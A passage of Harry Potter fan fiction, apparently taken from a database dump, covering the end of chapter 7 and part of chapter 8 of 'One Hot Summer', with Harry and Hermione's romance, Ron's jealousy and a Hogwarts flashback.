hard\non you there, some girls can&#8217;t take it like that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She sighed, &#8220;Oh you\ndidn&#8217;t hurt me at all.&#8221; Hermione lifted her head looking at him; she noticed\nred, fingernail marks in his skin.&nbsp; &#8220;But\nit looks like I hurt you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He looked at her\nand followed her line of vision to his shoulders; he glanced at it as if it\nwere no big deal. &#8220;It looks like you did.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I am sorry\nHarry, I didn&#8217;t know that I had done that.&#8221; Hermione sat up half way, her hair\ndropping down over her shoulders.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;It&#8217;s all right,\nyou, love, are quite the wildcat,&#8221; He said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I still feel\nreally horrible, I don&#8217;t want to hurt you like that.&#8221; Hermione felt so ashamed\nthat she couldn&#8217;t even meet his gaze.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Listen, these\nwill heal. They will go away.&#8221; Harry noticed she was looking towards the\nground; he lifted his hand cupping her cheek causing her to look at him.&nbsp; &#8220;You are a very passionate young lady, and\nyou can give me marks like this anytime you want.&#8221; He said with a smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;So I didn&#8217;t do\nanything wrong?&#8221; She asked carefully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Being in love\nlike this, well it&#8217;s not really a test you don&#8217;t get graded.&nbsp; You could never do anything wrong.&#8221; Harry saw\nher smile, which in turn made him smile; she always had the prettiest smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione leaned\nover pressing her lips against his in a soft and gentle kiss.&nbsp; She felt his hands reach up and grab a hold\nof her face keeping her in place.&nbsp; He\nwanted to feel her lips on his just a few minutes more.&nbsp; She tried to pull away, but he still wouldn&#8217;t\nlet her go.&nbsp; She started laughing while\nstill held in the kiss, he too joined in on the laughter and they both pulled\napart for air.&nbsp; &#8220;We should get back.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;But I want us to\nstay like this forever, wearing no clothes just laying her in each others arms,\njust enjoying all our time together.&#8221;&nbsp;\nHarry said looking up into her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I would love\nthat, but&#8212;&#8221; Hermione was cut off by Harry placing a finger against her lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I know, I know\nsomeday we&#8217;ll be able to do that just not now.&#8221;&nbsp;\nHarry smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione returned\nthe smile and turned around to grab her clothing from off the ground as did\nHarry.&nbsp; They both quickly scrambled into\ntheir garments.&nbsp; Hermione picked up her\nscrolls and book.&nbsp; And they started back\ntowards the house.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">As they were\nwalking Harry grabbed Hermione by the arm and swung her around pulling her\nagainst him, he was about to kiss her when Hermione turned her head at the last\nminute.&nbsp; He was about to ask what the\nmatter was when Hermione said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Do you hear\nthat? It sounds like someone screaming.&#8221; Hermione looked up at Harry who looked\nlike he was concentrating on the sound as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes it does.&#8221;\nHarry moved away from Hermione and listened harder for the sound, it sounded\nnorth from the house.&nbsp; &#8220;I&#8217;m going to go\ncheck it out.&#8221; He started walking from her</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well I&#8217;m coming\nwith you.&#8221; She said and he abruptly turned around facing her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No you stay here\nin case there&#8217;s trouble.&#8221; Harry said</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione&#8217;s eyes\nnarrowed, &#8220;No way, I&#8217;m coming with you and that&#8217;s final.&#8221; She sat her book and\nscrolls down on a large rock. She saw Harry shrug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;All right fine,\nbut if there&#8217;s one ounce of trouble you run.&#8221; Harry said very seriously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Agreed.&#8221;\nHermione answered, she and Harry started walking in the direction of the\nnoise.&nbsp; They came upon Ron who was turned\ntowards a large boulder screaming his head off.&nbsp;\nIt was the weirdest sight the two of them had ever seen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I think he&#8217;s\nlost his mind.&#8221; Hermione said quietly looking up at Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry nodded very\nslowly, &#8220;I&#8217;m beginning to agree with you.&#8221; He stepped close to Ron and placed\nhis hand on his shoulder, &#8220;Ron are you okay.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Harry?&#8221; Ron\nlifted his face from the boulder looking at Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes Ron, it&#8217;s\nme. You&#8217;re best friend Harry.&#8221; He spoke slowly.&nbsp;\n&#8220;Are you okay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Spider, big,\nhuge spider.&#8221; Ron pointed at Hermione without turning around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8216;Spider?&#8217;</i> Hermione\nmouthed to Harry who just shrugged as if he had no clue to what Ron was talking\nabout.&nbsp; Hermione glanced around on the\nground; something was crawling about the leaves.&nbsp; She smiled and bent down holding the\neight-legged cutie in her hand.&nbsp; &#8220;Ron, is\nthis the spider you are talking about?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes, yes!!&#8221; Ron\nshrieked still facing the boulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh Ron this poor\nlittle thing couldn&#8217;t hurt you,&#8221; Hermione said with a chuckle.&nbsp; &#8220;It makes a great little friend.&#8221; She patted\nit a bit, it tried to run off of her hand but she quickly caught it in her\nother hand.&nbsp; &#8220;Come on, take a look.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron looked at\nHarry for a moment who nodded; he slowly turned around and saw a really small\nspider in the palm of Hermione&#8217;s hand.&nbsp;\nHe pointed at the spider, &#8220;But&#8212;but that thing was huge, with drooling\nfangs and it was really furry.&nbsp; It was at\nleast this big.&#8221;&nbsp; Ron made a grand\ngesture with his long arms wide.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione sighed,\n&#8220;Ron I think you&#8217;re getting a little too much sun, perhaps we should go\ninside?&#8221;&nbsp; Hermione bent down and let the\nspider run off her hand.&nbsp; She wiped her\nhands off and stood back to her full height and started walking back towards\nthe house.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yeah mate come\non, I think the sun is getting to you.&#8221; Harry patted Ron on the back then\nfollowed after Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron&#8217;s mouth moved\nbut he couldn&#8217;t make sentences come out, he was so confused. He kept putting\nhis finger in the air as if he was trying to say something.&nbsp; He shook his head, and started following\nafter Harry and Hermione.&nbsp; He took a deep\nbreath and got closer to them, he watched Hermione walking ahead of him.&nbsp; His gaze started at her heels, wandering up\nher legs, over her rear where his eyes lingered a moment then traveling up her\nback, that was a pretty shirt she was wearing, the light green looked good on\nher.&nbsp; He noticed the tag sticking up in\nthe back; something was off about her shirt.&nbsp;\nIt clicked in his head, it was on inside out.&nbsp; Strange he thought.&nbsp; He shrugged it off; she probably put it on\nthat way this morning and just hasn&#8217;t noticed it yet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron watched as\nHarry reached out and touched Hermione on the shoulder, it looked almost like a\nsoft caress, but in a moment Harry shouted &#8220;Tag you&#8217;re it.&#8221; And Harry ran away\nfrom Hermione as she got this silly grin on her face and started chasing after\nhim.&nbsp; Ron shook his head he never\nunderstood those Muggle activities. &nbsp;They\nwere chasing each other all over the yard.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry and\nHermione were in a heavy fit of laughter by the time their chase had ended that\nthey collapsed next to each other on the lawn in the back yard.&nbsp; Ron came over and lay down next to Hermione\nso that she was in between them.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;That spider\nreally was huge.&#8221; Ron said tilting his head looking at Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh yes Ron, so\nscary.&nbsp; It&#8217;s going to attack Antville any\nsecond now.&#8221; Hermione teased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No I&#8217;m serious,\nit was very, very big. Almost like&#8212;&#8221; Ron paused thinking about that time in\nthird year, he shivered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8217;m so tired.&#8221;\nHermione said as she turned over on her side facing Harry, &#8220;I think I&#8217;ll take\nshort nap.&#8221;&nbsp; She closed her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron stood up,\n&#8220;Well I&#8217;m hungry, and I&#8217;m going inside.&#8221;&nbsp;\nHe looked at Harry, &#8220;Are you coming Harry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry shook his\nhead, &#8220;Nah, I think I&#8217;ll take a nap too, its really nice out here and the sun\nis really warm.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Suit yourself.&#8221;\nRon said and headed towards the screen door.&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron neared the\nscreen door when something made him turn around, he saw Harry who was on his\nside, the side of his face was in his hand which was propped up with him\nleaning on his elbow.&nbsp; He was looking\ndown at Hermione who was already sleeping.&nbsp;\nRon saw Harry move a piece of her hair away from her face and he leaned\nin kissing her lightly on the forehead.&nbsp;\nRon&#8217;s eyes narrowed in bitter anger and jealousy, he was about to go\nback over when Fred and George appeared on the other side of the door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hey Ron you had\nbetter come and see this.&#8221; Fred said and he opened the screen door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">George grabbed\nRon by the arm and pulled him inside before he had a chance to say no.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">After a few\nmoments of watching Hermione sleep, Harry lay back down on his back and closed\nhis eyes.&nbsp; He too was tired; it was a very\nexhausting afternoon.&nbsp; While his eyes\nclosed he smiled. He hoped there would be more afternoons like that.&nbsp; And he finally drifted off to sleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">=======</p>\n\n<p class="MsoNormal">Well that&#8217;s it for chapter 7; I\nhope you all enjoyed it.&nbsp; Stay tuned for\nChapter 8&#8212;Thoughts Of The Past.&nbsp; Read and\nReview, thanks, Ryoko</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(14, 8, '<p class="MsoNormal"><b>One Hot Summer</b></p><p class="MsoNormal">Chapter 8:Thoughts of\n  the past. </p><p class="MsoNormal">At about twelve noon after their well deserved nap,\n  Hermione and Harry sat down with Ron at the kitchen table where Mrs. Weasley\n  gave them a new dish out of her Better Witches ní Health magazine. The food\n  looked a pasty green with little red dots on them.</p><p class="MsoNormal">Hermione looked down at the food, “ooh looks good\n  Mrs. Weasley.” She said trying not to throw up at the site of this strange\n  dish.</p><p class="MsoNormal">“Oh it is good Hermione dear, Iím sure you will like\n  it just fine.”</p><p class="MsoNormal">“Yeah me too.” Hermione lifted a fork full to her\n  mouth and was about to take a bite when she remembered about her book she\n  left outside earlier. The fork dropped from her hand and it hit the plate\n  with a loud clink. “Oh dear I left my supplies outside on that rock, I had\n  better go get them.” Hermione said as she excused herself from the table.</p><p class="MsoNormal">“Uh, Iíll go with you in case you need help.” Harry\n  offered and he also stood up from the table. He followed Hermione out of the\n  house.</p><p class="MsoNormal">The Weasleyís heard the screen door close and Fred\n  turned to Ron. </p><p class="MsoNormal">“You know one would think they left together so they\n  could go snog or shag or something like that. What do you think Ron?” Fred\n  smiled.</p><p class="MsoNormal">“Oh Fred stop that kinda talk at the table, you know\n  I disapprove.” Mrs. Weasley said as she lifted a bite of her green meal to\n  her mouth. He face immediately paled and she tasted something rather bitter,\n  her lips puckered.</p><p class="MsoNormal">“Uh how is it Mum?” George asked with a hidden\n  smirk.</p><p class="MsoNormal">Mrs. Weasley started chewing, very slowly. “Itís um\n  interesting.” She swallowed. Who was she kidding, it was nasty. She jumped up\n  from her chair and headed towards the bathroom, the dang thing was coming\n  back up.</p><p class="MsoNormal">“I suppose Mum didnít like our bitter butter seeds,\n  what do you think Fred?”</p><p class="MsoNormal">“Oh I think they worked just fine, now she wonít try\n  to feed us that health food crap ever again.” Fred replied with a smile. He\n  watched as Ron got up from his chair. “Where are you going?”</p><p class="MsoNormal">“Just for a walk.” Ron said. “Iím not that hungry.”</p><p class="MsoNormal">George pretended to faint, “not that hungry, since\n  when are you not hungry?” </p><p class="MsoNormal">“Iím just not hungry alright.” Ron was irritated as\n  he headed out the door in search of his friends. He walked the path where the\n  giant spider chased after him. Ron knew Hermione left her books on the\n  boulder there when they were talking. He heard voices, namely Harry and\n  Hermioneís voices, they werenít even whispering. Ron got nearer he could see\n  them he watched as Harry had one arm around Hermione as she was leaning against\n  the boulder. She looked very seriously up at him and he was nodding. He\n  listened intently on what they were saying.</p><p class="MsoNormal">“So why did you pick me? Iím sure there are plenty\n  of other more elegant girls that could have had your attention.” Hermione\n  looked up at him.</p><p class="MsoNormal">“I think somehow itís always just been you, sure\n  Iíve had other relationships. But ours, yours and mine are deeper in some\n  way.” Harry leaned in closer and rested his forehead against hers, “and you\n  are elegant Hermione, whoís to say you arenít. I want to spend the rest of my\n  life just making you happy.”</p><p class="MsoNormal">Hermione smiled “Oh Harry, you are just so sweet.”\n  She felt a blush creep on. “Are you sure that I am enough for you?”</p><p class="MsoNormal">“More then sure, love. More then sure.”</p><p class="MsoNormal">“I just donít want you to wake up one morning and\n  say hey, what was I thinking?” Hermione glanced at her feet.</p><p class="MsoNormal">He gently cupped her face with in his hands, and\n  tilted her face upward so he could look into her eyes “Do you have no\n  confidence in yourself Hermione, there will never be anyone else for me. You\n  are it, now and hopefully once school is over, that you would be mine\n  forever.” </p><p class="MsoNormal">“Oh I hope so too.” Hermione replied in a soft\n  whisper.</p><p class="MsoNormal">Harry lowered his mouth to hers and kissed her\n  softly. Hermione seemed to melt to him as her arms went around him pulling\n  him closer. She felt the nudging against her lips and immediately opened her\n  mouth giving him what he and she also wanted.</p><p class="MsoNormal">Ronís fists clinched at his sides so hard that his\n  knuckles were turning white, <i>ëhow dare they go around behind my back and\n  do this.í</i> Ron thought to himself, he would put in play some extra things\n  in his plan tonight at the party. There was no way he was going to give up.\n  Just because Harry seemed to have won her already, doesnít mean he doesnít\n  completely have her. Ron smirked, oh yes he would have his chance and it\n  would be tonight. Ron heard leaves crunching as he turned to find his two\n  brothers heading in his direction.</p><p class="MsoNormal">“Ron, Mum said itís time to start getting read for\n  Percy and Penelopeís fancy one year anniversary party.”</p><p class="MsoNormal">“All right.” Ron said and without looking back he\n  started towards the house. </p><p class="MsoNormal">Fred and George sniggered at the kissing couple,\n  they really didnít want to embarrass Harry or Hermione at all, they were\n  doing this just to torture Ron and it was such fun. </p><p class="MsoNormal">“Harry, Hermione where are you two?” George shouted.</p><p class="MsoNormal">The two lovebirds broke apart immediately, Hermione\n  grabbed her books and scrolls from off the boulder and she and Harry stood\n  before them. Trying to act like they had not been caught doing something more\n  then friend like.</p><p class="MsoNormal">“Yes.” Hermione said, she felt a scratch in her\n  throat and cleared it, “yes what is it?”</p><p class="MsoNormal">Fred smirked, he noted she looked pretty cute in\n  that roman getup, too bad for Ron. He laughed to himself. “Our mum wants us\n  all to get ready for Percyís party tonight, so we were told to fetch you.”\n  Fred smiled.</p><p class="MsoNormal">“Oh okay then.” Harry answered. He turned and looked\n  at Hermione. “this will be a lot of fun, donít you think?”</p><p class="MsoNormal">“Oh I hope so.” Hermione replied as she and Harry\n  followed the twins back inside.</p><p class="MsoNormal">* * *</p><p class="MsoNormal">After Harryís shower he went into Ronís bedroom and\n  proceeded to get into his formal wear. The invitation said muggle formal wear\n  only, no dress robes. Harry chuckled. “Leave it to Percy to have rules for\n  his party.” Harry said out loud but quietly to himself. He got into his\n  formal suit and sat down, he had some time to think. And Hermioneís doubts\n  came flooding back to him and he started thinking about his past school days:\n  </p><p class="MsoNormal"><b>*~*~ Begin\n  Flashback~*~*</b></p><table class="MsoNormalTable">\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n</table><p class="MsoNormal"><i>“Harry, Harry oh God\n    guess what?” Ron said. </i></p><p class="MsoNormal"><i>Harry who was sitting in the common\n    room at Hogwarts in his sixth year looked up from his scroll as his best\n    friend was getting his attention. “What?”</i></p><p class="MsoNormal"><i>“Fred and George are coming back to\n    school for a visit.” Ron said. “Can you believe that? It’s bad enough I\n    have to live with them day in and day out, but now they are coming back to\n    torment me.”</i></p><p class="MsoNormal"><i>“Ron, you don’t know they are just\n    coming to torment you.” Hermione said who was sitting next to Harry. “Why\n    would they just do that?”</i></p><p class="MsoNormal"><i>“Simple Hermione, they are my\n    brothers. They live to ruin my life.” Ron shook his head back and forth.</i></p><p class="MsoNormal"><i>Hermione heard the clock above the\n    mantle ding, she looked up and smiled. “Ah seven O’clock. I gotta go guys.”</i></p><p class="MsoNormal"><i>Harry looked at her, “why where you\n    going?”</i></p><p class="MsoNormal"><i>“Justin is taking me to the\n    astronomy tower; I have never been there with a boy before. Well like not\n    like this on a date anyway.”</i></p><p class="MsoNormal"><i>“Hermione, you promised you would\n    help me work on these charms.” Harry said, with a bit of disappointment.</i></p><p class="MsoNormal"><i>“I can help you when I get back\n    later, after my date.” She smiled and put her books into her bag. She\n    rested her bag against the couch. “Well I’ll see you soon.” And she went\n    towards the portrait hole.</i></p><p class="MsoNormal"><i>“Since when did she become the\n    social butterfly?” Ron spat.</i></p><p class="MsoNormal"><i>“Well she is growing up Ron,” Harry\n    said returning to his scroll.</i></p><p class="MsoNormal"><i>“Yeah but still, she shouldn’t be\n    dating Hufflepuffs.” Ron said still staring towards the portrait that\n    Hermione left through.</i></p><p class="MsoNormal"><i>“As if my dating a Ravenclaw isn’t\n    the same thing?” Harry pointed out.</i></p><p class="MsoNormal"><i>“But that’s different, you’re a guy\n    you can date whoever you want.” Ron smirked.</i></p><p class="MsoNormal"><i>“Don’t let Hermione hear you say\n    that, you’ll end up getting one of her long lectures.” Harry laughed. “In\n    fact I think I’ll tell her what you said.”</i></p><p class="MsoNormal"><i>Ron was about to say something when\n    the portrait swung open and two familiar look alikes stepped in. Harry\n    smirked knowing that it was Fred and George, the twin terrors.</i></p><p class="MsoNormal"><i>“Ah it’s good to be back.” Fred\n    said as he threw his suitcase to the floor. “Time to spread our joy.”</i></p><p class="MsoNormal"><i>“Oh I agree dear brother.” George\n    replied with a smile.</i></p><p class="MsoNormal"><b><i>****</i></b></p><p class="MsoNormal"><i>“I’m not dating her anymore.” Harry\n    replied.</i></p><p class="MsoNormal"><i>“Did you two, you know?” Ron asked.</i></p><p class="MsoNormal"><i>“No, we just didn’t click. I’m\n    interested in someone else now anyway.” Harry said.</i></p><p class="MsoNormal"><i>Ron nodded, he so hoped it wasn’t\n    who he had his sights on. “Well who’s the lucky girl?” Ron asked.</i></p><p class="MsoNormal"><i>“I know it’s going to sound silly,\n    but I have a tiny crush on Lavender.” He smiled.</i></p><p class="MsoNormal"><i>“O—on Lavender?” Ron was\n    disappointed it was the girl he had his sights on. “Why her?”</i></p><p class="MsoNormal"><i>“Because she’s hot.” Hermione\n    replied interrupting their conversation.</i></p><p class="MsoNormal"><i>Both boys looked at her in shock.</i></p><p class="MsoNormal"><i>“Oh so you think so do you?” Ron\n    asked.</i></p><p class="MsoNormal"><i>“No you idiot, I do not. I heard\n    Harry talking about her to Dean just the other day.” Hermione smiled at\n    him. “Why do you like her Harry? It has to be something more then just her\n    hotness.” </i></p><p class="MsoNormal"><i>“It is, she’s not as flakey as you\n    all think she is. Lavender has a small problem with confidence, she never\n    thinks she can do anything right. But I have been spending some time with\n    her, going over classes with her and believe it or not she is pretty\n    smart.” Harry replied.</i></p><p class="MsoNormal"><i>“Okay Harry I believe you.”\n    Hermione said, “Hey are you ready to go to Hogsmeade with me, I have to\n    pick up something for Justin’s birthday.”</i></p><p class="MsoNormal"><i>“Yep, let’s go.” Harry said and he\n    went with Hermione towards the portrait.</i></p><p class="MsoNormal"><i>Ron couldn’t believe it, Harry\n    liked the same girl he did. What an outrage. What a load of— His thoughts\n    were interrupted as he felt someone snake their arms around his neck. He\n    knew who it was by the smell of her hair.</i></p><p class="MsoNormal"><i>“Hello darling.” She said into his\n    ear.</i></p><p class="MsoNormal"><i>Ron turned and found Lavender\n    smiling at him, “what do you want?” He asked.</i></p><p class="MsoNormal"><i>“You know.” She answered.</i></p><p class="MsoNormal"><i>“Lavender what kind of game is\n    this, are you interested in Harry too?” Ron asked seriously.</i></p><p class="MsoNormal"><i>“Oh sweetie, of course I am. I just\n    have a hard time deciding between the both of you.” Lavender smiled. “You\n    are both so nice to me and treat me with respect. I can’t help but love\n    both of you, I just have to figure out who I love more.”</i></p><p class="MsoNormal"><i>“And how are you going to do that?”\n    Ron asked.</i></p><p class="MsoNormal"><i>Lavender sat down next to him on\n    the couch, “Ron have you ever kissed a girl before?” She asked.</i></p><p class="MsoNormal"><i>“Umm, well no.” He admitted\n    regretfully.</i></p><p class="MsoNormal"><i>The twins poked their heads from\n    around the corner and started talking amongst themselves. </i></p><p class="MsoNormal"><i>“Did you bring them?” Fred asked\n    quietly.</i></p><p class="MsoNormal"><i>“Of course I did,” George replied\n    with a smile as he got out a very large box.</i></p><p class="MsoNormal"><i>“Great give them to me.” Fred said\n    and he watched as his brother handed him the rocket.</i></p><p class="MsoNormal"><i>“So this will be your first kiss\n    Ron and it will be mine too. I want to us to share our first ones\n    together.” She smiled bashfully.</i></p><p class="MsoNormal"><i>“Really, me? Not Harry, but me?”\n    Ron was ecstatic.</i></p><p class="MsoNormal"><i>“Yes you. So kiss me already.”\n    Lavender smiled and gently closed her eyes.</i></p><p class="MsoNormal"><i>Ron licked his lips and moved in,\n    his lips barely brushed hers when a rocket blazed past right in front of\n    him and exploded, the room was filling with all kinds of sparks and colors.\n    Both he and Lavender jumped back with a loud yell “AHHH!”</i></p><p class="MsoNormal"><i>“Ron!!” Lavender was mad, “You are\n    so mean, I hate you.”</i></p><p class="MsoNormal"><i>“Wha—what did I do?” Ron was\n    confused.</i></p><p class="MsoNormal"><i>“You think you can make a fool out\n    of me, that was a mean joke you played on me Ron, I will never forgive\n    you.” Lavender sad and distressed she jumped up from the couch and ran out\n    of the common room.</i></p><p class="MsoNormal"><i>Ron heard snickering and laughing\n    and he turned to find Fred and George rolling around on the floor in fits\n    of laughter.</i></p><p class="MsoNormal"><i>George pointed at Ron whose fists\n    were clinched at his sides, “Well we wanted your first kiss to be\n    explosive.” George continued to laugh.</i></p><p class="MsoNormal"><i>Fred, “I think they both saw\n    fireworks.” Fred laughed so hard that he looked like he would wet his\n    pants.</i></p><p class="MsoNormal"><i>Ron growled and took himself up to\n    his room and slammed the door.</i></p><p class="MsoNormal"><i>Harry and Hermione were coming back\n    from Hogsmeade and they stepped through the secret passage.</i></p><p class="MsoNormal"><i>“Oh Harry this is just the perfect\n    gift for Justin, I’m so glad you were there to help me pick it out.” She\n    smiled down at the little wrapped box in her hand.</i></p><p class="MsoNormal"><i>“I’m glad to be of help my friend.”\n    Harry grinned.</i></p><p class="MsoNormal"><i>Without warning Hermione threw her\n    arms around him and hugged him tightly. Harry wasn’t shocked at this, she\n    had become more emotional as she got older and he had gotten quite used to\n    it. For some reason it was fun to hug her and he didn’t mind in the least.</i></p><p class="MsoNormal"><i>“Thank you Harry you’re a good\n    friend.” She said </i></p><p class="MsoNormal"><i>“So are you.”</i></p><p class="MsoNormal"><i>Hermione pulled back. “Well I’m\n    going to give Justin his present, I’ll see you later.” She smiled and\n    hurried off towards the Hufflepuff common room.</i></p><p class="MsoNormal"><i>Harry continued walking and sounds\n    of someone crying caught his attention, he stopped near a door and pressed\n    his ear to the door and listened, sure enough someone was crying. He pushed\n    the door open and he saw Lavender sitting on a desk, a tissue in her hand\n    and tears streaming down her cheeks.</i></p><p class="MsoNormal"><i>“Lavender, are you alright what\n    happened?” Harry came inside and closed the door to give them privacy.</i></p><p class="MsoNormal"><i>“Ron is so cruel.”</i></p><p class="MsoNormal"><i>“What did he do?” Harry sat next to\n    her.</i></p><p class="MsoNormal"><i>“He made a fool out of me, I told\n    him I never kissed anyone before and he well he shot fireworks off at me.”\n    She wiped her tears away with her tissue. “He is such a child sometimes, I\n    don’t think he will ever grow up.”</i></p><p class="MsoNormal"><i>“I’m sorry about Ron, he can be a\n    bit childish at times.” Harry said patting her on the back.</i></p><p class="MsoNormal"><i>“I don’t even know why I wanted to\n    kiss him, I’m not even really interested in him.” Lavender sniffled.</i></p><p class="MsoNormal"><i>“Who are you interested in?” Harry\n    asked carefully, he wanted it to him.</i></p><p class="MsoNormal"><i>“Oh it doesn’t matter. He would\n    never like me anyway. He probably thinks I’m a flake. I mean just cause I’m\n    fascinated by Divination doesn’t mean I’m a flake, does it?”</i></p><p class="MsoNormal"><i>“No it doesn’t.” Harry answered,\n    “And how do you know he doesn’t like you, did you talk to him?” He watched\n    her eyes, she seemed to be avoiding his. “Can I ask you a question?”</i></p><p class="MsoNormal"><i>“What?” She looked up at him.</i></p><p class="MsoNormal"><i>“Is it me?” </i></p><p class="MsoNormal"><i>“Uh, I have to go.” Lavender got up\n    off the desk but Harry quickly grabbed her hand and she turned looking at\n    him.</i></p><p class="MsoNormal"><i>“I was kind of hoping that it was\n    me.” He said with a smile.</i></p><p class="MsoNormal"><i>“You—you were?” Lavender was\n    surprised.</i></p><p class="MsoNormal"><i>“Yes, I really like you and I was\n    so hoping that you liked me too.”</i></p><p class="MsoNormal"><i>Lavender was speechless. “you—you\n    like me?”</i></p><p class="MsoNormal"><i>Harry nodded.</i></p><p class="MsoNormal"><i>“I never 